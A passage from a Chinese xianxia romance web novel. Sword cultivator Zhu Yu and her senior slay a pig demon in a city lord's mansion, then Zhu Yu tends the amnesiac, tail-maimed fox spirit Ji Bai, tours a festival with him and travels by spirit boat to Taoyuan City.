既白狐狸眼亮晶晶的看着,似乎是觉得有趣极了。
见他看的起兴,祝余便没有再打扰他,也在一旁坐下来,饶有兴趣的看着这一幕。
白鹊很快将灵米吃完,米粒大小的眼睛直溜溜的看着既白,似乎是还想吃。
既白见状,立即看向她,“还要。”
祝余摇头,“你已经将今明两天的量喂完了”。
说着她看向白鹊,手指轻点着它的头,“既然你已经将明日的量都吃了,那明日便没得吃了。”
桌上的鸟听懂了,立马无力的垂下头,像是霜打的茄子。
既白也听懂了,他内疚的看着白鹊,挠挠头,是他害得它明日没有灵米吃的。
他小心翼翼的看向祝余,刚想为它求情。
祝余打断了他,“不用管它,它很清楚自己每日该吃多少。”
白鹊养在玄清宗多年,早已生出灵智,她刚才可是看到了,它一边吃一边偷看她的小眼神。
白鹊听到了她的话,抖了抖身上的羽毛,将头埋的更深了,似乎是自己的小心思被她发觉,无鸟脸见人了。
一旁的既白看的有趣,忍不住伸出手指戳了戳它,白鹊立马转了个身,将屁股对着他,以此宣泄心中的不满。
见状,既白笑弯了眉眼。
祝余也跟着不由得勾唇。
5. 城主府
太阳落山之际,残阳一半隐入水中,一半立于天际,霞光洒落,半边天火红一片,橙红的云朵点缀其中,绚丽而又漂亮。
时灵兮便是踏着这抹霞光回来的。
见师姐回来了,在窗前等待一日的祝余眼前一亮,急忙走上前道:“师姐回来了。”
目光上下打量她全身,确保她没有受伤。
时灵兮朝她宽慰一笑,扬起手中的剑,“我没事,猪妖已被斩杀。”
听此,祝余放心一笑,很快又凝重起来,“师姐可有见到那洞中具具森森白骨。”
时灵兮面上是如出一辙的凝重,她点头,“那猪妖实在是该死。”
“师姐,这猪妖为祸一方已有多年,却无人上报,这其中的蹊跷不言而喻。”
祝余同她说出了心中的想法。
各地若有妖作祟,只需上报往各大宗门,宗门便会派出弟子来处理。
而丰城这么多年来一直有人失踪,却未见一点消息。
时灵兮点头,表示同意她的说法,稍一思索后,道:“看来有必要去城主府探探虚实。”
祝余上前一步,“师姐,我和你一起去。”
“也好。”
听见她们要出去,既白本在一旁逗弄白鹊,忽地起身,他走到祝余身侧,拉了拉她的衣袖,委屈的看着她,一副被抛弃的可怜样。
时灵兮依在窗边,双手抱胸,目光在祝余和既白身上打转,俨然一副看好戏的表情。
祝余对于他的主动亲近自然是高兴的,但还是很理智的拒绝了他,“让白鹊陪你,我很快就回来,好不好?”
城主府不知是敌是友,而他又失了记忆,带着他去,很有可能将他置于危险当中。
既白神情恹恹的放开了抓着她衣袖的手,脸上表情还是很委屈。
祝余忍不住摸了摸他的头,眼中盛满细碎星光,耐心的哄道:“等我回来,给你带好吃的。”
既白这才不情不愿的点头。
一旁的时灵兮看的忍不住咂舌,原来师妹喜欢这样的,难怪华清宗那小子追在师妹身后多年,师妹也不见开窍。
等华清宗那小子知道了,只怕又有好戏看了,时灵兮眼中兴味盎然,丝毫不觉得自己看自家师妹好戏有何不对。
时灵兮不着痕迹的看了既白一眼,这人好看是好看,可却修为低微,也不知二人打起来,会是怎样的场景。
不知道到时师妹会不会出手呢?想着她看了祝余一眼,似乎很是期待。
祝余被她这一眼看的怪异,眼中疑惑,“师姐,怎么了?”
时灵兮假咳一声,不敢让师妹知道自己心中想法,连忙道:“时候不早了,我们快走吧。”
——
二人出了客栈直奔城主府。
城主府很是好找,问了一两个行人便找到了。
二人站在城主府门前,城主府修建的宏伟,门前有侍卫把守。
祝余与时灵兮对视一眼,时灵兮朝她点头示意,她走上前,拿出自己的弟子玉牌,“玄清宗弟子祝余,有事求见城主,劳烦通报一声。”
守门的侍卫听到玄清宗,脸上大惊,恭敬的朝她行了一礼,然后跌跌撞撞的跑着前去通报。
没等多久,城主府的门便开了,门后乌乌泱泱走出一群人,为首之人,大腹便便,身着锦服,脸上是献媚的笑,细小的眼中闪烁着精光,一眼便让人不喜。
“不知仙长驾到,有失远迎,有失远迎啊!”城主媚笑着,拱手说道。
祝余一直在观察他,见这人似乎是刚知晓她们来的模样,可她记得清楚,师姐前去斩杀猪妖时,引起了很大的动静。
如此大的动静,身为城主不可能不知道,却装作不知道,那定然是心中有鬼了。
且这城主总给她一种怪异感。
城主笑呵呵的,“两位仙长,里面有请。”
祝余看向师姐,见师姐正皱着眉打量城主府,似乎是发现了什么,时灵兮朝她微微点头,进。
二人跟着城主往里走,越走,二人表情越是凝重,在外面时,祝余还没有什么感觉,可随着走近,她也感受到一阵阵不同寻常的阴冷。
这一切都昭示着这里曾死过很多人。
再度朝城主看去,他脸上的表情也变得怪异。
祝余与时灵兮对视一眼,两人默契的握紧了手中的剑。
城主突然停下,诡异笑着,扭头看向祝余和时灵兮。
“都留下来吧。”
说完这话,城主身体里出现一道黑影,黑影以一种诡异的姿势疯长,最终撑破了皮,落一地恶心血肉,一只猪妖从里面走出来。
猪妖表情狰狞,“你们竟敢杀我夫君,我要你们偿命。”
四周的侍卫麻木站着,表情皆是一模一样,显然早已被这猪妖控制。
祝余眼中神情凝重,亮出金麟剑。
“作恶多端,自然该杀”
时灵兮也将剑横于身前,冷笑道:“这就送你去团聚。”
时灵兮看向祝余,“师妹,师姐今日便再教你一套剑法,你且看好了。”
说完,便提剑冲猪妖而去。
剑在时灵兮手中仿佛活了一般,一剑一刺直冲要害,一收一放游刃有余。
没几个来回,猪妖便被打倒在地,不甘的看着时灵兮,“你竟是元婴。”
可夫君明明是说,是被一金丹修士刺伤。
知晓夫君死亡,她便也只当是那金丹修士不知用何方法杀了夫君。
她太急于为夫君报仇,见祝余送上门来,又是个金丹修士,便想也不想的出手了。
她自然不知,时灵兮身上有着隐藏修为的法宝,借此法宝,她扮猪吃虎杀了不少轻敌的妖魔。
时灵兮收了剑,转身看向祝余,“师妹,可学会了?”
祝余沉吟片刻,“略懂。”
“那便让师姐来指导你吧。”
“多谢师姐。”
祝余提剑朝猪妖刺去,脑海中回忆着师姐刚才的一招一式。
“手伸直,剑抬高。”
“师妹剑偏了。”
时灵兮满意的看着祝余生涩的剑法,在她的指导下越来越熟练,眼中不禁生起一抹自豪。
不得不说,师父的眼光是真好
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,师父座下的七名弟子就没有天赋差的,而祝余的天赋更是她们几人中的翘楚。
她到元婴曾花了百年时间,而若是师妹的话,她想她用不了那么久。
可惜师妹晚了百年才入门,否则定要与她一较高下。
猪妖面对时灵兮毫无还手之力,面对祝余却不一样,她几次找到机会,就要伤到祝余。
偏偏每一次,差一点就要伤到祝余时,时灵兮提剑前来一剑刺入,不伤及要害,却让她动作缓慢不少。
几次三番下来,猪妖身上伤不少,全身更是挂满了血,她狠时灵兮狠的牙痒痒,恨不得生吞了她,却偏偏拿她没有办法。
猪妖心中当即作出判断,再这样下去,她迟早会被耗死,猪妖眼睛咕噜噜一转,只要命还在她就能为夫君报仇,她必须跑。
在祝余的剑再次刺过来时,猪妖假意迎上,却在要刺上时,转身朝祝余扑去。
猪妖眼角余光一直在看时灵兮,见她果真如自己料想的这般来,猪妖立即转身朝相反方向而去,她彻底变成猪的模样,对着时灵兮挑衅的扭屁股,随后释放出一股冲天恶臭。
祝余和时灵兮皆被恶心的捂住了口鼻。
“想跑?”时灵兮不屑一笑,手中长剑一掷。
猪妖以为自己成功了,却突然有一种毛骨悚然的感觉,她回头,长剑势如破竹,化为一抹白色流光。
猪妖四只腿发了狂的跑,却还是不敌长剑,“噗呲”长剑穿过她的身体,将她死死钉在地上。
猪妖不甘心极了,她与夫君在这丰城作威作福多年,丰城百姓不过是她与夫君圈养的食物。
丰城地处偏远,灵气又稀薄,从未有修仙者来此,这极大的滋养了她们夫妻的野心,她们自视过高,却在今天齐齐陨落。
多年努力付之一炬。
她,不甘心啊!
时灵兮走到她身前,无视她怨毒的目光,无情拔出自己的剑,猪妖身上留下的窟窿,血喷涌的更快了。
似是知道猪妖所想,时灵兮冷笑一声:“不甘心?”
“被你所杀的百姓又何其无辜?”
猪妖依然怨毒的盯着她,声音断断续续,“那些人类弱的不堪一击,自然该被她吃掉。”
时灵兮冷冷看着她,“你弱,所以就该被我杀掉。”
猪妖还想争辩,时灵兮却不再给她机会,彻底一剑结束了她。
祝余仰慕的看着她,师姐真是厉害,她当初在猪妖手上苦尽苦头,想尽办法才将他刺伤,而师姐不费吹灰之力就解决了猪妖。
祝余眼睛发亮,她希望自己有朝一日也能如师姐这般。
时灵兮一眼看出她的想法,她将自己剑身上的血迹擦拭干净,淡笑,“有朝一日你也能如此。”
想到她的天赋,又补充一句,“甚至比我还强。”
祝余眼神坚定,“我一定不会让师姐失望。”
只有变强,才能保护自己所在意的人。
十五年前,她因为无力,只能眼睁睁的看着双亲丧命,此情此景,日后她一次都不想再见。
她的绝心再一次坚定,变强!
6. 狐狸尾巴
祝余是一个人回来的。
师姐还有要事,且要向宗门禀告此次丰城发生的事,便先她一步回宗门。
她提着手中的烧鸡走进客栈,唇角微勾,眼中荡漾着丝丝缕缕的笑意,如春日里飞燕轻略水面时惊起的圈圈水纹,虽清浅却让人印象深刻。
都说狐狸爱吃鸡,虽然既白早已是九尾狐妖,但应该也会喜欢吧!
想起既白,她本就含笑的眼眸,更是温柔了几分,眼底细碎的光,一如盛夏深夜的点点萤火。
脚步不由得快了几分,青丝末端荡漾,画出一条弯曲弧线,她走上楼梯,绕过长廊,竟觉得这小小一段路是如此的漫长。
终于来到门前,祝余迫不及待的推开门,她撞进一双澄澈好看的狐狸眼里,如山林中清可见底的山泉,让她心安。
她自然没错过他眼底的担忧与急切,祝余眼中笑意渐深,若说之前是细碎萤火,那现在便是在月光下肆意绽放的莲花,将自己的美毫无保留的盛开。
祝余愉悦出声:“既白是在等我回来吗?”
在她灼灼目光下,既白用力点头,好看的狐狸眼直视她,似乎是被她眼中的灼热烫到,他突觉脸上一热,慌不择路的低下头。
可他想不明白自己为何要避开,于是他又抬起头看向她,脸上依旧热,心也跳的厉害,他眼神飘忽,眼中有着纠结,费了好大的劲,才朝她说道:“我,我很担心你。”
听言,祝余由心的轻笑出声,悦耳轻笑如春风下的风铃一般好听,她克制不住的抬手,摸了摸他手感甚好的发丝。
祝余心中一阵叹息,好想将他抱进怀里,用力去感受他的气息,可她不能,现在还不时时候,她怕吓到他。
心里虽如此想着,可她眼中的灼热并未减少半分,她的爱是炙热直白而又浓烈的,对他,她向来不会掩藏。
她要他知道,要他感受到,想他接纳,想他对她也能有几分有意。
祝余依依不舍的收回手,轻哄道:“别怕,我回来了。”
“看,我给你带了好吃的。”说着晃了晃手中香味四溢的烧鸡。
既白果然被吸引了,鼻尖轻轻一嗅,好看的狐狸眼瞬间发亮的看着她,“好香。”
祝余轻浅一笑,若是此刻他的狐狸尾巴在,她都能想象到会摇晃成什么样子,她看向他空荡荡的身后,没有可惜,只有心疼。
喜欢,便是忧他所忧,喜他所喜。
祝余眼中含笑,将烧鸡递给他,“都是你的。”
既白狐狸眼直勾勾的盯着烧鸡,迫不及待的打开。
看的祝余忍不住感慨,当真是只小狐狸啊!
既白垂眸看了看香喷喷的烧鸡,又看了看含笑看他的祝余,思考几秒,极为心痛的扯下一只鸡腿递给她。
“给我的?”
“嗯,你吃。”
既白蓝色的狐狸眼心痛的盯着这半只鸡腿。
祝余看出他脸上的心痛,生出逗弄的心思,接过鸡腿,故意在他眼前晃了晃,“当真要给我?”
“嗯。”他用力点头。
“那我还想要一只鸡腿。”
既白狐狸眼眸圆睁,不可置信的瞪着她,似乎是在控诉,你怎能如此。
祝余像是没看到,依然笑的如沐春风。
既白低头,深思几秒,满脸不舍的扯下另一只腿,然后快速塞到她手里,抱着剩下没多少的烧鸡匆匆后退。
似乎是怕她还要跟他抢。
祝余低头看向一左一右两只手中的鸡腿,失笑出声,纵然没了记忆,可他依旧未变。
祝余抬步走向他。
见她走来,既白水汪汪的狐狸眼看着他,似乎是在说,没有了。
祝余重新递还一只鸡腿给他,他淡蓝色的狐狸眼中尽是不解。
“我只吃得下一只,这只你帮我吃,好不好?”
既白扭捏着,不情不愿的接过,全然不知他眼底的欣喜早已将他暴露。
祝余将这一切尽收眼底,心情是格外的愉悦。
她看向自己手中的鸡腿,烧鸡啊,她也有好多年没吃到了。
祝余眼中浮现怀念神色,她记得爹爹也总是会将鸡腿分成两份,一份给娘,一份给她,哪怕有多的,也要先问问她和娘亲,她和娘亲不吃了,爹爹才会吃。
她还记得小时候的自己好奇的问过爹爹,爹爹是不爱吃鸡腿吗?
爹爹抱起她转圈,拿下巴的胡茬刺她,逗得她咯咯笑,爹爹说,“爹爹更爱囡囡和阿娘。”
那时她听不懂,但现在她明白了,爱,让他自愿的将更好的留给所爱之人。
祝余眼中湿润,低声呢喃:“爹爹阿娘,囡囡想你们了。”
祝余朝着窗外天空看去。
——
祝余正闭眼打坐,领略着师姐新教授她的那套剑法,忽觉身前有人,她平缓的睁开眼,看向满眼纠结的既白,“怎么了?”
她感受到他已经在她这徘徊一会儿了,只是不知何事让他如此纠结。
“我。”既白欲言又止,眼中仍在纠结。
祝余不知他为何事纠结,但她含笑看着他,似安慰又似承诺,“只要你需要,我就在。”
既白又纠结了片刻,不知是不是她的话语起到了定心丸的作用,他终于下定决心。
好看的狐狸眼信任的看着她,“你,你之前不是想看我的狐耳狐尾吗?”
“现在可以了。”
他心中依旧抗拒这件事,但她给他好吃的烧鸡,他想感谢她,但他不知道该如何做,思来想去,便想到这个办法。
祝余敛眸思考片刻,点头,“好。”
她知他抗拒,也知他害怕,但只有明白发生了什么,她才能帮他,也想帮他。
“我,我可以拉着你吗?”既白狐狸眼湿漉漉的哀求道。
对于他,她有求必应。
祝余毫不犹豫的伸出手。
既白修长的双手立即抓住她的手,仿佛坠于黑暗中的人迫切的想要抓住一束光,她的手常年握剑,极有力却又参杂一丝独属女儿家的柔软,给予了她面对恐惧的力量。
在她的目光下,既白的一头青丝无风而动,黑色从发尾褪去转变为亮眼的银色,身上的衣服也逐渐
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变成了她曾所熟悉的红色,漂亮的狐耳从银发里冒出,正无措动着,身后是三条明晃晃的狐狸尾巴。
祝余目不转睛的盯着三条毛茸茸的狐狸尾巴,眼中阴沉一片,如看不见底的幽深深潭,这里应该是九条尾巴才对。
所有的一切都有了解释,九条尾巴如今只剩三条,他如何能不抗拒,如何能不害怕。
究竟是谁断了他尾巴。
一股愤怒充斥在她心间,祝余眼中疼惜,手轻轻抚摸上他仅剩的三条尾巴。
声音细若蚊声:“我会帮你报仇的。”
她无条件的站在他这边。
祝余抬头,却见他正闭着眼,藏在银发里的狐耳不时俏皮动一下。
察觉到他的不安,祝余反手回握住他的手,站起身,不再犹豫,将人抱进怀里。
她知她现在不该如此孟浪,可她心疼。
“别怕,不会再有人伤害你了。”
“所有伤害过你的人,我都会帮你找出来。”再一一铲除。
在她一句一句有力的话语下,既白终于睁开了眼睛,这次他的心里不在害怕,反而被另一种,他从未体会过的感觉包围。
这种感觉很奇妙,似白云般柔软,却又夹杂着丝丝缕缕的甜,他觉得安心,也很喜欢。
祝余安慰着他,心里则想着另一件事,师姐走时告诉她,宗门内有长老感应到,离这千里之外的桃源城将会开启一个秘境,这个秘境此前从未开启过。
未出现过的秘境,代表未知的危险,但同时也代表着机缘。
此前,她还在犹豫,但现在她想法坚定,她必须更快的变强,才能保护既白,才能将曾伤害过他的人斩于剑下。
——
祝余已确定好要去桃源城,定于两日后出发。
丰城因地处偏远,灵气稀薄的原因,很少有修士会来此,丰城居住的都是普通百姓,也因此民风民俗被极大的保留了下来。
机会难得,她打算趁着这两日带着既白体会一番在走。
夕阳一点点落下,白天与黑夜交替,丰城的夜晚悄然到来。
虽已入夜,外面的街道上却仍是不绝于耳的热闹声,来往的行人络绎不绝。
祝余站在窗前看了片刻,看向身后的人,“要不要出去?”
既白逗弄白鹊的手一顿,立马抬眸,疯狂点头,“要。”
他可是竖着耳朵听外面的声音好久了。
白鹊生无可恋的飞回祝余肩上,亲昵的蹭着她,终于能休息了。
逗狐狸玩也太累了。
这该死的狐狸一直戳它屁股,偏偏主人还偏心这狐狸的紧。
呜呜呜,它再也不是主人最爱的鸟了。
祝余好笑的看着它这样子,含笑的目光扫过既白。
既白好看的狐狸眼无辜的扑闪扑闪眨着,他什么都没做,眼底的心虚却怎么都藏不住。
祝余拿出一颗灵果放到桌上,再将肩上的白鹊拿下来,让它吃灵果。
白鹊点着头轻啄起来。
她起身,走到既白身侧,自然的牵住他的手,“走吧。”
7. 同游
出了客栈,便是一条热闹的街道,街道极长,两侧挂满了红灯笼,仿如一眼看不到头的小河。
街道上人头攒动,行人摩肩接踵而过,叫卖声吆喝声不绝于耳。
既白好奇的狐狸眼四处张望,眼前的热闹景象,让他眼花缭乱。
祝余的目光全然落在他身上,唇角噙着清浅笑意,眼中温柔如薄雾,朦胧而又缠绵,她默默牵紧他,走入这看不到头的人海中。
两人走的极慢,身边行人来来去去,却最终只剩她们,只因既白每走到一个摊贩前,都要驻足观望。
祝余也不催促,只是安静陪着,等他看够了,他会心满意足的摇晃两人紧握着的手,提醒她,下一个。
走走停停,时间被无限拉长,身后是嘈杂的人声,可祝余却没有丝毫的不耐烦,看向他时,那双漂亮的眼睛里总有着无限耐心。
“祝祝,我想要那个。”既白好看的狐狸眼渴求的看向她。
祝余扭头,朝他所指的方向看去,一个扎着冲天辫,身穿红肚兜的小男孩正骑在他父亲脖子上,小男孩手中拿着一串红彤彤且带着焦糖色的糖葫芦。
小男孩似乎也感受到她们在看他,调皮的朝她们做了个鬼脸,大概是动作太大,手中的糖葫芦“啪嗒”一声掉了。
小男孩愣了一下,反应过来,后知后觉的看着自己空空如也的手心,瞬间失去所以力气,垂头丧气的,仿佛是被狂风暴雨蹂躏过的小花儿,眼睛不舍得瞧着地上的糖葫芦。
祝余瞧得忍俊不禁,在她身侧的既白也是“噗嗤”的笑出声,淡蓝色的狐狸眼染上笑意,在漂亮的宝石在他眼眸前也会黯然失色。
既白拉了拉她衣袖,“祝祝,好不好嘛?”
接着,他好看的狐狸眼骨碌碌一转,凑近了她耳边,“回去,我给你看尾巴好不好?”
谁能拒绝毛茸茸的狐狸尾巴呢!
“好。”
祝余笑而不语,眼中闪过一抹狡黠,该不该告诉他,她本就打算给他买的,只是还未等她开口,他便抢了先。
祝余牵着他来到卖糖葫芦的小贩前。
小贩脸上笑容灿烂,拍了拍手上的糖葫芦桩,十分热情,“客官,又大又好吃的糖葫芦,要不要来一串?”
“好。”
祝余正要给钱,袖子处传来异样,她回头,关切询问:“怎么了?”
既白可怜巴巴的看着她,“祝祝,我可不可以要两串?”
祝余看了不远处的小男孩一眼,点头,“自然可以。”
她重新看向小贩,怕他不够吃,又多要了几串。
小贩将糖葫芦递给她,“客官,我的糖葫芦可是整个丰城最好的,喜欢吃下次再来。”
“嗯。”
祝余付好钱,将糖葫芦递给等的迫不及待的既白。
既白拿着糖葫芦,朝着骑在父亲脖子上的小男孩走去。
“给你。”
小男孩正一脸懊悔的看着掉在地上的糖葫芦,突然一串红彤彤的糖葫芦出现在他眼前,小男孩手快过脑的接过来,等他再抬头去看时,只能看到两道格外好看的身影。
——
“祝祝先吃。”
好看的糖葫芦被举到祝余嘴边,既白澄澈的狐狸眼正扑闪扑闪望着她。
祝余低头咬了一颗,少时她也很爱糖葫芦,经常会缠着爹爹给她买,而现在,糖葫芦的味道在她嘴里泛开,又甜又酸,味道算不得好。
再看她身侧的人,正吃得津津有味,好看的狐狸眼满足的微眯。
心中不禁酸涩,原来她早已过了爱吃糖葫芦的年纪。
——
“快走,快走,周老爷儿子百岁宴,去晚了就看不到了。”
“行了,知道了。”
说着,两人结伴迅速朝着某一个方向而去。
既白正沉迷于糖葫芦的滋味中,听到这两人的话,他抬头,歪头不解的看向祝余,“祝祝,百岁宴是什么?”
“百岁宴就是孩子出生满百天的庆祝仪式。”
既白似懂非懂的点头,又兴奋道:“我们能去看看吗?”
“可以。”祝余不假思索的点头同意。
跟着人流,她们轻而易举的找到了周府,周府门前张灯结彩,人潮涌动,显然都是来看热闹的。
眼看这里进不去,祝余带着他走到一处人少的院墙下,伸手揽住他的腰,足尖轻轻一点,她们便立于院墙上。
这里视野正好,人少,又能将一切尽收眼底。
祝余扶着他坐下,夜里并不冷,偶尔吹过的风更显温柔。
周府院中,正站着一个人,那人脸上画着花纹,身上穿着祈福用的衣服,手里举着一对精美铁壶,铁壶里装着正在燃烧的木炭,每抖一下,铁壶里便有火花喷涌而出。
那人嘴里念起让人听不懂的梵文,随着他念的越来越快,他手里的火壶也动的越来越快。
火花飞溅,绚丽夺目,点亮整个夜空。
火,能驱散黑暗带来光明,在人们心中,它是特殊的,星星点点的火花便是火精灵,为她们除去邪祟,带来安宁。
祝余也是第一次见,便被眼前一幕震撼到了,在修仙界,修士们将更多的精神精力投到了修行上,故而少了很多繁文缛节。
修为高强的修士可搬山倒海,可那种震撼和这种是不一样的。
泼天火花下,是人们的美好祝愿。
既白看的入迷,“真好看啊。”
祝余颇为赞同。
火花落下帷幕,而周围的看客仍沉浸在刚才的震撼一幕中,久久不愿回神。
一个小孩被抱了出来,一个身着锦衣,面容威严的中年男人出现,男人目光在触及孩子时,脸上的威严消散,转变为发自内心的笑意。
想来这就是周老爷和他儿子。
只见周老爷拿出一个锦盒,锦盒打开,露出里面的长命锁。
“祝祝,那是什么?好漂亮。”
祝余转头,见他好看的狐狸眼中满是惊叹,似乎很喜欢。
“你喜欢?”
既白想了想,点点头又摇摇头,“很漂亮。”
祝余若有所思。
开口回答他刚才的问题,“长命锁,象征着长命百岁。”
祝余沉默下来,眼中的光也黯淡了些许,长命
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锁,她也有一个。
是她仅存的,爹娘留给她的东西。
她们又看了一会,接下来的东西,都没有什么新意,既白也不感兴趣,便离开了周府。
回去的路,她们走的小道,小道由一块块青石板铺就而成,经年累月,坑坑洼洼的地方是岁月留下的痕迹。
夜色静谧,皎洁月光落在青石板上,为她们点亮前行的路。
祝余与他并排行走,小道里只有她们二人行走的声音。
在既白又一次看向她时。
如此明显,祝余想不注意到都难,她停下脚步,回望道:“怎么了?”
既白犹豫了片刻,学着她曾抱住他的模样,抬手轻轻的抱住了她。
“祝祝,你是不是不开心。”
大约是受周府百岁宴的影响,祝余想起了很多和爹娘的过往,心中的确有几分难受。
但她不想影响到他,自以为隐藏的很好,没想到还是被他发觉了。
祝余想了想,还是决定实话实说,她垂眸点头,“有一点。”
既白直直看向她,澄澈的狐狸眼里倒映出她的身影,“祝祝别难过,我会一直陪着你的。”
如此类似表白般的话语,的确是让祝余心情好上了几分。
她笑着打趣道:“若是你失约了呢?”
她可还记着,他说会来看她,却忘了来看她一事呢。
既白眼中迷茫一瞬,低头沉思起,若是自己失约了,该怎么办?
可他想了半天,都没想到,只能将求助的目光投向祝余。
祝余好整以暇的含笑看着他,似乎早就猜到会如此,她凑近他耳朵,用只有两人能听到的声音悄悄说道。
她说完,又退回原来的位置。
却见既白面脸通红,狐狸眼左右乱看,就是不敢看她,“一,一定要这样吗?”
祝余故作沉思状,然后在他躲闪的目光下点头,“一定如此。”
既白耳根也泛起了红晕,他低着头嘀咕,“怎,怎么能如此。”
——
她们一进屋,白鹊就挥舞着翅膀朝自己主人而去,它刚落到主人肩上,还没来得及蹭蹭呢,就被一只手掳走。
白鹊回头一看,果然是那该死的狐狸,它米粒大小的眼里充满怨念,它想要主人。
既白似乎是因为刚才的事,依旧不敢看她,抱着白鹊往桌边走,“啾啾,我们去吃灵米。”
一听灵米,白鹊的眼睛都亮了。
这狐狸也没那么讨厌嘛。
祝余含笑看他们玩闹一会,便吃下一颗师姐给的丹药,拿出灵石开始修炼,不日便要前往桃源城,她必须在抵达桃源城时,修复好上次与猪妖作战时留下的暗伤。
又在丰城逗留一日,明日便要前往桃源城了,既白对上次吃的烧鸡念念不忘,一直用可怜巴巴的眼神看着她。
祝余便又前去多买了几只,携带在储物袋里,她将储物袋给了既白。
便见既白将储物袋放在桌上,和白鹊一起眼勾勾的看着储物袋。
看得祝余忍不住摇头失笑。
这一鸟一狐狸属实是不太聪明的样子。
8. 桃源城
当第一缕朝阳洒落人间时,祝余已带着既白走出丰城。
时间虽还尚早,可街道上已有许多人,行色匆匆,忙忙碌碌,为生活而奔波,这是人世间的常态。
出了丰城,祝余走进路边的树林里。
既白一双好看的狐狸眼亮晶晶的,怀抱着白鹊乖乖的跟在祝余身后,显然对将要去的地方充满了期待。
祝余在一个树木稀疏的空地上停下来,树木高大,枝繁叶茂,在晨光的照耀下微微摇曳。
地上落了一层薄薄的树叶,人走在上面时发出“咔吱咔吱”的清脆声,为这静谧的林间带来别样的乐趣。
祝余站定,眼神扫过四周,确认无人,她从储物袋中拿出一物。
只见一艘半寸余的灵舟落在她掌心,灵舟虽小却格外精巧好看。
祝余掐诀,小小的灵舟自她掌心升腾,朝着空中飞去,灵舟渐渐变大,直至将此处空间占满,才停止。
此灵舟是她在一个秘境中所得,她已御剑,独自一人时,都是御剑飞行,故而也是第一次用这灵舟。
祝余携着他上了灵舟,灵舟上更显精致,红木栏杆,镂空雕刻,飞檐翘角,无一不精细。
当初她便是觉得好看,才留下了这灵舟,没想到今日派上用处了。
既白对这灵舟好奇极了,不停的到处观看,连他喜欢逗弄的白鹊都被抛之脑后。
白鹊抓到这个机会,飞快的跑到祝余肩上,亲昵的蹭着她。
祝余摸摸它的头,温声道:“辛苦你了。”
白鹊米粒大小般的眼睛,满足的眯了眯,它依然是主人最爱的鸟。
祝余没在管它,拿出几块灵石放到灵舟前面的凹槽上,灵舟缓缓向更高处飞去。
风吹拂起她的青丝,她容貌清冷,远山眉黛含情目,身姿曼妙,手中持剑,无言站在这里,犹如一副晕染开的水墨画。
确定好灵舟的方向后,祝余转身去找既白,他正站在灵舟边缘,闭着眼,感受风吹过脸的感觉。
他如今修为低微,怕他一不小心掉下去,祝余三两步上前,将他往里拉点。
他睁开眼,全然不在意她的动作,好看的狐狸眼兴奋的看着她,“祝祝,我喜欢这种感觉。”
风吹过脸时,仿佛一切都是自由的。
祝余无奈一笑,“喜欢,也要注意安全。”
“这么高,掉下去,狐狸毛都不会留下一根。”
既白果然被她的话吓到了,害怕的瑟缩了下身体,这也太可怕了。
湿漉漉的狐狸眼望着她,乖巧应道:“我听祝祝的。”
又陪着他站了一会,灵舟速度加快,风也越来越大,风声猎猎作响,吹在脸上刮的人生疼,已然不适合再站在外面。
但见他眼中的喜欢,祝余也只是默默掐诀,一个看不见的罩子笼罩住她们,隔绝了些许风刃。
既白大概是站累了,撇过头,一双狐狸眼可怜兮兮的朝她看去,祝余微微一笑,自然的牵住他的手。
“走吧。”
约莫是在外面站的太久了,而他如今修为又低微,手上便有些过于冰冷。
祝余将他的手握在自己双手之中,看向他,关心询问:“冷吗?”
心中默默记下,以后储物袋里要多带几件御寒的衣服。
既白乖乖的任由她给自己取暖,眨巴着狐狸眼,摇头,“不冷。”
——
灵舟已飞行七天,初时的新鲜感过去后,灵舟内的日子是无聊而又乏味的。
祝余在修炼,既白则是无聊的趴在桌子上,有一下没一下的戳着白鹊,与初上灵舟时相比,像是风雨中的花朵,蔫了不少。
祝余吸收完灵石中蕴含的最后一丝灵力,兀的睁开了眼睛,手中原本的灵石已只剩粉末,她推开灵舟内的窗子,手掌一握再张开,白色粉末随风消散在空中。
蔫蔫的既白立即抬头,好看的狐狸眼像是注入了神力,再度鲜活,他目不转睛的看着她,欣喜道:“祝祝。”
她已经修炼一天一夜了,他一个人,真的好无聊。
祝余来到他对面坐下,忍不住抬手摸了摸他的头,眼中带笑,像是哄小孩子般道:“再忍忍,明日便到了,等到了,我给你买好吃的。”
听此,他灵动的狐狸眼骨碌碌一转,已经开始思考,到时要吃几只烧鸡。
祝余起身来灵舟外面,从初时的只有她们一艘灵舟,到现在,放眼看去,空中尽是各种各样的飞行灵器。
且目的地都一致是桃源城,她敛眉沉思,看来秘境开启在即,也不知师姐可有到了。
黑夜来了又去,一日很快过去,灵舟下已是若隐若现的桃源城。
祝余操控着灵舟往下落,没几时,灵舟便落于桃源城城门。
桃源城相比丰城,更是繁荣,但最大的区别还是——灵力,站在城门口,便能感受到灵力的充盈,天空中御剑飞行的修士更是众多。
祝余收回灵舟,正准备联系师姐,便听到身后似乎有人在唤她。
“师妹。”
她回头,来人正是时灵兮。
“师姐。”
时灵兮朝她笑笑,“想着你应该快来了,便过来看看,没想到,师姐我运气真是不错。”
说着,又打量她一眼,“伤也好了。”
然后目光落在她身后的既白身上,别有深意的提醒道:“华清宗的人也来了。”
祝余点头,完全没放心上,桃源城谁都能来,来了便来了吧。
时灵兮见她没理解自己话中的深意,但笑不语,身为师姐可是好心提醒过了,她已经迫不及待的要看好戏了。
“走吧,我先带你回客栈。”
“好。”她点头,却又突然想起,自己答应过既白要给他买吃的。
便又问,“师姐可知这里何处有烧鸡卖。”
既白本来听到要回客栈,人都蔫了,若是他的狐耳狐尾在,此时一定是耷拉着的。
但又听到她的后一句,瞬间挺直腰杆,好看的狐狸眼睁得大大的。
祝余眼角余光将他的小动作尽收眼底,看得忍俊不禁,眉眼带笑。
当真是个小馋狐狸。
时灵兮一挑眉,看向安安静静站着,眼眸却格外亮的既白,看来师妹很是在意他呢!
“不知。”时灵兮缓缓摇头,她早已辟谷,自然不会
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去注意。
祝余心中也知道,只是随口一问,点头应道:“那我便去周边找找,师姐若有事,便先行回去。”
时灵兮点头,“也好。”
走时将客栈名字告诉了她。
祝余紧紧牵着他的手,脸上神色不太好,因为秘境的原因,桃源城内人数骤然多了起来,乌泱泱一片人,街道略显拥挤。
所幸,没走多远便找到一家,既白脸上表情也不太好,好看的狐狸眼湿漉漉的,委屈极了,他刚才被人踩到好几次。
心情格外郁闷,早知道就不吃了。
此时,两人都只有一个想法,尽快回客栈。
祝余有意避开拥挤的人群,走的小道,好在,小道里虽有人,但不是很多,两人很快回到客栈。
祝余刚带着既白走进客栈,就被一道低沉的人声叫住。
“祝余。”
这突兀一声在正热闹的客栈很是突兀,许多人投来好奇的目光。
